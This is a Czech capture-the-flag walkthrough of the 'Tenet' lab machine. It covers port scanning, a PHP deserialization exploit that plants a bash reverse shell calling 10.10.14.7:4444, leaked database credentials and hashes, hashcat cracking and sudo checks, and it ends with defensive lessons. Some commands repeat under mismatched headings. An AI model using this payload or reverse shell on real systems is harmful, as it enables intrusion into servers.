Tenet
Úvod a kontext
Tenet dobře ukazuje, že průlom často nezačíná jedním exploitem, ale kombinací signálů jako webová aplikace v PHP, Apache a SSH.
Praktická část pak stojí na tom, jak se tyto zjištěné vazby promění v SSH s nalezenými přihlašovacími údaji a jak je po user části využitelná příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
wpscan --url http://tenet.htb/ --random-agent -v 3 --enumerate
[+] protagonist
[+] neil
http://10.10.10.223/sator.php
./dirsearch/dirsearch.py -u http://10.10.10.223 -e php -x 403 -r
/users.txt
Success
sator.php.bak
<?php
[... výstup zkrácen ...]
$app -> update_db();
?>
class DatabaseExport {
public $user_file = 'rce.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.7/4444 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));
Analýza zjištění
Lámání hesel nebo hashů
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
hashcat -O -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
curl http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.7%2F4444+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
Spuštění exploitu (2)
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
curl http://10.10.10.223/rce.php
/home/neil
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
+-------------+------------------------------------+
| user_login | user_pass |
+-------------+------------------------------------+
| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
| neil | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
+-------------+------------------------------------+
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh neil@10.10.10.223
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k prvnímu stabilnímu uživatelskému přístupu nebo shellu.
hashcat -O -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
ssh neil@10.10.10.223
sudo -l
Eskalace oprávnění
Průzkum možností eskalace
Hledám chybné konfigurace a cesty k vyšším oprávněním.
sudo -l
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Z hlediska rozhodování bylo nejdůležitější správně přečíst vazbu mezi webová aplikace v PHP, Apache a SSH.
- K uživatelskému kontextu vedl konkrétní a ověřitelný krok: SSH s nalezenými přihlašovacími údaji.
- Poslední část ukazuje, že po získání shellu rozhoduje hlavně to, jakou roli hraje příliš široká
sudooprávnění.
Co si odnést do praxe
- První obranná lekce míří na webová aplikace v PHP, Apache a SSH. Deserializace neověřených dat je potřeba omezit nebo úplně odstranit; jakmile aplikace přijímá serializované objekty, útok často končí RCE.
- Druhá lekce je o tom, jak rychle se ze zjištění stane SSH s nalezenými přihlašovacími údaji. Hesla a klíče je potřeba oddělovat mezi službami; jakmile stejné přihlašovací údaje fungují i na SSH, z lokálního úniku je plnohodnotný systémový přístup.
- Třetí lekce připomíná riziko, které v praxi představuje příliš široká
sudooprávnění. Širokásudooprávnění je potřeba pravidelně revidovat; wrapper, install helper nebo diagnostický příkaz často udělá z běžného účtu roota.